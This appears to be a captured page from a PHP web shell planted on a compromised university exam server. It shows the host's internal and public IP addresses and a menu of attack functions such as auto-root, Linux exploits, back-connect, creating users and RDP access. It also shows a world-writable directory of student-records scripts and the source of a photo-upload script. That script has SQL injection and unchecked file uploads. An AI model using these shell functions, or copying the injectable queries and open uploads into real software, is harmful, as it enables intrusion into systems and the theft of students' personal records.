Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.217.14.208
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ssa /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxrwxrwx
.src.php
3.61
KB
-rw-r--r--
Dispatch_ans_script_setup.php
5.84
KB
-rwxrwxrwx
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxrwxrwx
ECHblk.php
11.06
KB
-rwxrwxrwx
FormulaEvaluate.php
14.15
KB
-rwxrwxrwx
MarkEntry-Setup.php
19.98
KB
-rwxrwxrwx
MarkEntry-SetupTEST.php
21.01
KB
-rwxrwxrwx
MarkEntry-Setup_28102014.php
22.99
KB
-rwxrwxrwx
TAGMAY2013.pdf
331.03
KB
-rwxrwxrwx
TarkaFormatStyles.php
15.37
KB
-rwxrwxrwx
TarkaFormatStyles_old.php
3.71
KB
-rwxrwxrwx
absent_entry_setup.php
8.13
KB
-rwxrwxrwx
absent_entry_setupQp.php
6.93
KB
-rwxrwxrwx
absent_entry_setup_old.php
7.61
KB
-rwxrwxrwx
ack_exam_app_form.php
12.09
KB
-rwxrwxrwx
ack_exam_app_form_07032014.php
9
KB
-rwxrwxrwx
ack_exam_app_form_14032014.php
9.6
KB
-rwxrwxrwx
ack_rv_rt_application.php
7.7
KB
-rwxrwxrwx
ack_rv_rt_application_5days.ph...
7.41
KB
-rwxrwxrwx
ack_rv_rt_application_before_l...
6.02
KB
-rwxrwxrwx
actClass.php
6.21
KB
-rwxrwxrwx
admission_entry_status.php
2.73
KB
-rwxrwxrwx
attendance.php
6.13
KB
-rwxrwxrwx
auto-complete.php
4.89
KB
-rwxrwxrwx
backup_restore.php
8.14
KB
-rwxrwxrwx
backupandrestore.php
10.18
KB
-rwxrwxrwx
bundle_dispatch.php
2.84
KB
-rwxrwxrwx
cManualMailer.php
2.54
KB
-rwxrwxrwx
caccesscontext.php
1.24
KB
-rwxrwxrwx
candidate-entry.php
42.45
KB
-rwxrwxrwx
candidate-entry1.php
37
KB
-rwxrwxrwx
candidate-entry24082012.php
33.21
KB
-rwxrwxrwx
candidate-entry_220413.php
33.21
KB
-rwxrwxrwx
candidate-entry_without_iapr_i...
34.88
KB
-rwxrwxrwx
candidate-entrybefore yearexam...
34.55
KB
-rwxrwxrwx
candidate-entrykus.php
33.23
KB
-rwxrwxrwx
candidate-entryold.php
34.55
KB
-rwxrwxrwx
cappcontext.php
3.19
KB
-rwxrwxrwx
challan_entries.php
13.34
KB
-rwxrwxrwx
challan_preparation.php
10.28
KB
-rwxrwxrwx
cmailer.php
6.83
KB
-rwxrwxrwx
college.php
4.61
KB
-rwxrwxrwx
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxrwxrwx
college_degree_status.php
5.86
KB
-rwxrwxrwx
coutput.php
1.75
KB
-rwxrwxrwx
create_all_grid_files.php
8.57
KB
-rwxrwxrwx
create_all_grid_group_files.ph...
9.94
KB
-rwxrwxrwx
create_all_grid_group_files_ol...
9.61
KB
-rwxrwxrwx
create_all_popup_files.php
5.93
KB
-rwxrwxrwx
create_all_schema_files.php
4.31
KB
-rwxrwxrwx
create_all_views.php
16.52
KB
-rwxrwxrwx
create_html_files.php
52.03
KB
-rwxrwxrwx
create_html_files_without_tab....
44.49
KB
-rwxrwxrwx
create_module_meta_columns.php
5.16
KB
-rwxrwxrwx
crequestbroker.php
2.49
KB
-rwxrwxrwx
csessions.php
514
B
-rwxrwxrwx
cuser.php
3.41
KB
-rwxrwxrwx
custom_mregistry.php
122
B
-rwxrwxrwx
datadictionary.php
3.96
KB
-rwxrwxrwx
daterange.php
4.86
KB
-rwxrwxrwx
degree.php
6.51
KB
-rwxrwxrwx
degree1.php
6.78
KB
-rwxrwxrwx
display_details_in_grid.php
101.68
KB
-rwxrwxrwx
display_details_in_grid_240320...
98.86
KB
-rwxrwxrwx
display_details_in_grid_before...
98.71
KB
-rwxrwxrwx
display_details_in_grid_custom...
2.68
KB
-rwxrwxrwx
display_details_in_grid_studta...
96.56
KB
-rwxrwxrwx
display_details_in_grid_withde...
97.45
KB
-rwxrwxrwx
doc_verify.php
7.02
KB
-rwxrwxrwx
download_misc_files.php
3.3
KB
-rwxrwxrwx
download_misc_files_19062014.p...
3.25
KB
-rwxrwxrwx
download_photo.php
3.68
KB
-rwxrwxrwx
download_photo_12092018.php
4.1
KB
-rwxrwxrwx
download_upload.php
3.86
KB
-rwxrwxrwx
dynamicmastersdetails.php
117.45
KB
-rwxrwxrwx
dynamicmastersdetails_23.php
120
KB
-rwxrwxrwx
dynamicmastersdetails_one.php
119.36
KB
-rwxrwxrwx
entryexitevents.php
3.09
KB
-rwxrwxrwx
execute_query.php
2.5
KB
-rwxrwxrwx
execute_query27062012.php
2.51
KB
-rwxrwxrwx
export_import_setup.php
7.62
KB
-rwxrwxrwx
export_import_utility.php
2.67
KB
-rwxrwxrwx
format.php
7.43
KB
-rwxrwxrwx
freeze_Ad_Cl_Me.php
6.64
KB
-rwxrwxrwx
freeze_module_at_admin_college...
6.53
KB
-rwxrwxrwx
freeze_module_at_university_co...
7.45
KB
-rwxrwxrwx
general_report_format.php
11
KB
-rwxrwxrwx
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxrwxrwx
getdata.php
33.04
KB
-rwxrwxrwx
getdata110911.php
16.03
KB
-rwxrwxrwx
getdata22.php
28.7
KB
-rwxrwxrwx
getdata27062012.php
16.8
KB
-rwxrwxrwx
getdata_24032015.php
20.96
KB
-rwxrwxrwx
getfeeinformation.php
6.95
KB
-rwxrwxrwx
getmoduledetails.php
23.7
KB
-rwxrwxrwx
getnumword.php
7.43
KB
-rwxrwxrwx
getreportdetails.php
3.21
KB
-rwxrwxrwx
getreportfilefordisplay.php
1.37
KB
-rwxrwxrwx
getsearchcondition.php
1.3
KB
-rwxrwxrwx
ggridmodel.php
9.27
KB
-rwxrwxrwx
golden_palm_payslip.php
12.48
KB
-rwxrwxrwx
helptext.php
5.38
KB
-rwxrwxrwx
identify_transactions.php
6.4
KB
-rwxrwxrwx
import_marks.php
4.11
KB
-rwxrwxrwx
json.php
33.22
KB
-rwxrwxrwx
login.php
6.11
KB
-rwxrwxrwx
login.php_1
3.25
KB
-rwxrwxrwx
login20012017.php
5.54
KB
-rwxrwxrwx
login27062012.php
2.85
KB
-rwxrwxrwx
login_03032015.php
3.6
KB
-rwxrwxrwx
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxrwxrwx
login_old.php
3.15
KB
-rwxrwxrwx
markEntry-Setup2.php
21.93
KB
-rwxrwxrwx
message_board.php
4.67
KB
-rwxrwxrwx
module_setup.php
2.48
KB
-rwxrwxrwx
mregistry.php
89.5
KB
-rwxrwxrwx
mregistry02012017.php
59.71
KB
-rwxrwxrwx
mregistry24042015.php
55.01
KB
-rwxrwxrwx
mregistry_before_subupdtostud_...
52.68
KB
-rwxrwxrwx
mregistry_beforedownload.php
53.04
KB
-rwxrwxrwx
mregistry_old.php
66.7
KB
-rwxrwxrwx
mrn_approval.php
9
KB
-rwxrwxrwx
receive_rv_rt_application.php
7.65
KB
-rwxrwxrwx
report_setup.php
25.12
KB
-rwxrwxrwx
report_tool.php
73.03
KB
-rwxrwxrwx
revaluation.php
16.66
KB
-rwxrwxrwx
revaluation_oldtype.php
8.45
KB
-rwxrwxrwx
revaluation_withdegree.php
16.77
KB
-rwxrwxrwx
room_allotment.php
7.21
KB
-rwxrwxrwx
sendLoginPassword.php
3.09
KB
-rwxrwxrwx
serchbygrid.php
822
B
-rwxrwxrwx
student_entry.php
47.97
KB
-rwxrwxrwx
student_entry1307.php
37.71
KB
-rwxrwxrwx
student_entry27062012.php
30.47
KB
-rwxrwxrwx
student_entryold.php
30.33
KB
-rwxrwxrwx
subjectList_display.php
11.01
KB
-rwxrwxrwx
subject_freshExam.php
18.92
KB
-rwxrwxrwx
subjectfreez.php
12.98
KB
-rwxrwxrwx
system_utility.php
1.84
KB
-rwxrwxrwx
systemsetup.php
75.5
KB
-rwxrwxrwx
teachers.php
10.33
KB
-rwxrwxrwx
transaction-series.php
4.86
KB
-rwxrwxrwx
updateSection.php
3.86
KB
-rwxrwxrwx
update_defined_flag.php
3.41
KB
-rwxrwxrwx
upload_studentPhoto.php
10.12
KB
-rwxrwxrwx
upload_studentPhoto02062015.ph...
11.58
KB
-rwxrwxrwx
upload_studentPhoto_before_dow...
8.02
KB
-rwxrwxrwx
uploadmoduledetails.php
39.65
KB
-rwxrwxrwx
usersetup.php
24.14
KB
-rwxrwxrwx
usersubj_identification.php
4.77
KB
-rwxrwxrwx
usersubj_identification_old.ph...
4.54
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload_studentPhoto02062015.php
<?php session_start(); function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function viewStudInfoToupload($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $degree_code = $aobj_context->mobj_data['degreeCode']; $_SESSION['degree_codeImgUp']=$degree_code; $RegNo_start = substr("00000000".$aobj_context->mobj_data["regStart"],-8); $RegNo_end = substr("ZZZZZZZZ".$aobj_context->mobj_data["regEnd"],-8); if(strtolower($college_code) === 'lsys') { $get_studentInfo = "select * from student where fdegree ='{$degree_code}' and fregno between '{$RegNo_start}' and '{$RegNo_end}' limit 2000"; } else { $get_studentInfo = "select * from student where fcollcode = '{$college_code}' and fdegree ='{$degree_code}' and fregno between '{$RegNo_start}' and '{$RegNo_end}'"; } $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); $get_currentDate="select DATE_FORMAT(NOW(),'%Y%m%d%H%i%s') as currentDate"; $lobj_get_currentDate=$aobj_context->mobj_db->getRow($get_currentDate); $currentDate = $lobj_get_currentDate[currentDate]; if($lobj_get_studentInfo) { $e_data.="<table align = 'center' width='100%' cellspacing='0' cellpadding='1' border='0' >"; $e_data.="<th align='left' colspan='6' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Photo Upload List</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td align='center' style='width:55px; font-size:12px; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sl.No.</td>"; $e_data.="<td align='center' style='width:105px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Register No.</td>"; $e_data.="<td align='center' style='width:205px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Name</td>"; $e_data.="<td align='center' style='width:105px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Degree Code</td>"; $e_data.="<td align='center' style='width:155px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Photo</td>"; $e_data.="</tr>"; $element_id=0; $k=0; $m=0; //var_dump($lobj_get_moudle_names); die(); $counter_degree = 1; foreach($lobj_get_studentInfo as $key=>$value) { $image_src=''; $photo_path=$value[FPHOTOPATH]; if(!empty($photo_path) && file_exists($photo_path)) { $image_src=$photo_path.'?'.$currentDate; } else { $image_src="images/default_photo.jpg"; } $f_regno = $value[FREGNO]; //$fileId='stud_uploadfile_'.$element_id; $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td class='tbl_row_new' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center; ' id='it_cnt_{$element_id}' >{$counter_degree}</td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center; ' id='it_fregno_{$element_id}' >{$value[FREGNO]}</td>"; $e_data.="<td class='tbl_row_new' style=' border-right:1px solid #C5DBEC; padding:2px; font-size:12px; ' id='it_candtname_{$element_id}' >{$value[FNAME]}</td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px; text-align:center;' id='it_dname_{$element_id}' >{$value[FDEGREE]}</td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px;height:120px;width:200px;' id='it_mname_{$element_id}' ><span style='margin-left:20px;background:#EEEEE;'><img src='{$image_src}' id='student_entry_photo_{$element_id}' class='loading' width='100px' height='70px'/></span><div><span ><input type='hidden' id='hd_regno_{$element_id}' value='{$f_regno}'><input type='file' id='stud_uploadfile_{$element_id}' name='stud_uploadfileName[]' onchange='UserSelectedPhotoDisplay(this,{$element_id});' style='width:75px'></sapn><span style='padding:5px 5px;'><span onclick='UserSelectedPhotoUpload({$element_id})' style='color:#fff;font-size:14px;width:70px;padding:2px 5px;background-color:green;border:solid 1px #0000;cursor:default'>Upload</span></span></div></td>"; $e_data.="</tr>"; ++$element_id; $m++; $counter_degree++; } $e_data.="</table>"; $arr['total_count']= $m; $arr['html']=$e_data; $arr['error']=0; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $error_data = 'No Records Found For a given Reg / Roll No '; echo $aobj_context->mobj_output->ToJSONEnvelope($error_data,-1,"failure"); return; } } function UserSelectedPhotoDisplay($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $collcode = $_SESSION['collcode']; $fileId = $aobj_context->mobj_data['index']; $img_regno = $aobj_context->mobj_data['regno']; $file_name=replaceChars(basename($_FILES['stud_uploadfileName']['name'][$fileId])); $path_arr=pathinfo($_FILES['stud_uploadfileName']['tmp_name'][$fileId]); $file_ext=$path_arr['path']; $temp_path=$aobj_context->main_src."/student_photos/temp"; if(!file_exists($temp_path)) { mkdir($temp_path); } $file_path="/{$collcode}_{$img_regno}_{$file_name}"; $temp_path.=$file_path; if(isset($_FILES['stud_uploadfileName']['name'][$fileId]) && ($_FILES['stud_uploadfileName']['name'][$fileId] != '')) { $size=($_FILES['stud_uploadfileName']['size'][$fileId]/1024); if($size>1024) { $data="Please Upload the Photo of size less than 1 MB"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-2,"success"); return; } if(move_uploaded_file($_FILES['stud_uploadfileName']['tmp_name'][$fileId],$temp_path)) { $path="student_photos/temp/{$file_path}"; $arr['path']=$path; $arr['index']=$fileId; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } } $data="Please Upload the Photo"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } function saveUserSelectedPhotoUpload($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $degree_code = $_SESSION['degree_codeImgUp']; $college_code = $_SESSION['collcode']; $img_index = $aobj_context->mobj_data['index']; //$filePath = $aobj_context->mobj_data['filepath']; $regno_index = $aobj_context->mobj_data['regno']; $college_path=$aobj_context->main_src."/student_photos/{$college_code}"; $folder_path=$aobj_context->main_src."/student_photos/{$college_code}/".replaceChars(strtolower($degree_code)); $file_name=basename($_FILES['stud_uploadfileName']['name'][$img_index]); $ext = pathinfo($file_name, PATHINFO_EXTENSION); $full_file_path= $folder_path.'/'.$regno_index.".".$ext; $image_path="student_photos/{$college_code}/".replaceChars(strtolower($degree_code)).'/'.$regno_index.".".$ext; $photo_path=""; //student_entry_upload if(!file_exists($college_path)) { mkdir($college_path); } if(!file_exists($folder_path)) { mkdir($folder_path); } if(isset($_FILES['stud_uploadfileName']['name'][$img_index]) && ($_FILES['stud_uploadfileName']['name'][$img_index] != '')) { if(move_uploaded_file($_FILES['stud_uploadfileName']['tmp_name'][$img_index],$full_file_path)) { $update_qry = "update student set FPHOTOPATH='{$image_path}' where FREGNO='{$regno_index}' and FDEGREE='{$degree_code}' and FCOLLCODE='{$college_code}'"; $lobj_rs = $aobj_context->mobj_db->Execute($update_qry); } } if($lobj_rs) { $arr='Photo Uploaded Successfully'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $arr='Photo Uploaded Failed'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function downloadAllStudentPhotos($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $degree_code = $aobj_context->mobj_data['degreeCode']; $_SESSION['degree_codeImgUp']=$degree_code; $RegNo_start = substr("00000000".$aobj_context->mobj_data["regStart"],-8); $RegNo_end = substr("ZZZZZZZZ".$aobj_context->mobj_data["regEnd"],-8); $desDirectry = $aobj_context->main_src."/tmpphotos/".$degree_code.'/'; $get_studentInfo = "select * from student where fdegree ='{$degree_code}' and fregno between '{$RegNo_start}' and '{$RegNo_end}'"; $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); $photoDownloadCnt=0; foreach($lobj_get_studentInfo as $key=>$value) { $fURI =''; $photo_path=$value[FPHOTOPATH]; $file_name=replaceChars(basename($photo_path)); if(!empty($photo_path) && file_exists($photo_path)) { $fURI=$photo_path; } if(!is_dir($desDirectry)) { mkdir($desDirectry); chmod($desDirectry,0777); } $regno_index = $value[FREGNO]; $ext = pathinfo($file_name, PATHINFO_EXTENSION); $full_file_path= $desDirectry.$regno_index.".".$ext; if (file_exists($fURI)) { $target_file=$full_file_path;// Path to a local file if ( file_exists( $target_file ) ) { $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n"; } else { $ifmodhdr = ''; } // set request header for GET with referrer for modified files, that follows redirects $arrRequestHeaders = array( 'http'=>array( 'method' =>'GET', 'protocol_version' =>1.1, 'follow_location' =>1, 'header'=> "User-Agent: Anamera-Feed/1.0\r\n" . "Referer: $source\r\n" . $ifmodhdr ) ); $rc = copy( $fURI, $target_file, stream_context_create($arrRequestHeaders) ); // HTTP request completed, preserve system error, if any if( $rc ) { $photoDownloadCnt++; if ( fclose( $rc ) ) { unset( $err ); } else { $err = error_get_last(); } } else { $err = error_get_last(); } } } $the_folder = $desDirectry; $zip_file_name = "tmpphotos/"."{$degree_code}.zip"; $download_file= true; //$delete_file_after_download= true; doesnt work!! $za = new FlxZipArchive; $res = $za->open($zip_file_name, ZipArchive::CREATE); if($res === TRUE) { $za->addDir($the_folder, basename($the_folder)); $za->close(); } else { echo 'Could not create a zip archive';} if ($download_file) { ob_get_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($zip_file_name)); readfile($zip_file_name); //deletes file when its done... //if ($delete_file_after_download) //{ unlink($zip_file_name); } } } class FlxZipArchive extends ZipArchive { //$location=$aobj_context->main_src; public function addDir($location, $name) { //$this->addEmptyDir($name); $this->addDirDo($location, $name); } // EO addDir; private function addDirDo($location, $name) { $name .= '/'; $location .= '/'; // Read all Files in Dir $dir = opendir ($location); while ($file = readdir($dir)) { if ($file == '.' || $file == '..') continue; // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File(); $do = (filetype( $location . $file) == 'dir') ? 'addDir' : 'addFile'; $this->$do($location . $file, $name . $file); } } // EO addDirDo(); } ?>
Close